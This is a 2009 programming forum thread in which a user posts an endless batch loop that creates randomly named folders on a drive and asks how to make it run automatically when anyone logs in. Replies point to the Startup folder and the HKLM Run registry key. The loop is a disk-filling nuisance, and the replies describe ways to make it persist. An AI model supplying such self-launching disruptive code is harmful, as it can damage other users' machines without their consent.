2 Replies - 1089 Views - Last Post: 19 January 2009 - 05:58 PM Rate Topic: -----

#1 Javaman  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 45
  • Joined: 17-December 07

Auto Running a Batch File

Posted 08 January 2009 - 08:55 AM

I am trying to make a file that runs as soon as someone logs into any computer as long as my code is on a drive in that computer. So far, this is my code
:BEGIN
mkdir x:\%random%
GOTO BEGIN

I just need to get it to auto run on startup but I do not know how to do that. I tried creating a different file called autorun.inf and using the
[autorun] open=filename.bat

code but that did not work. I tried placing it in the same drive as the code, maybe there is somewhere else I need to place it?

Is This A Good Question/Topic? 0
  • +

Replies To: Auto Running a Batch File

#2 abgorn  Icon User is offline

  • sudo apt-get install brain
  • member icon

Reputation: 30
  • View blog
  • Posts: 1,410
  • Joined: 05-June 08

Re: Auto Running a Batch File

Posted 19 January 2009 - 04:49 PM

Or you could place the batch file in the startup folder, that'll do the trick.
Was This Post Helpful? 0
  • +
  • -

#3 bsaunders  Icon User is offline

  • D.I.C Addict

Reputation: 44
  • View blog
  • Posts: 571
  • Joined: 18-January 09

Re: Auto Running a Batch File

Posted 19 January 2009 - 05:58 PM

You could also add a new entry for the batch program in the Run key of the registry:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1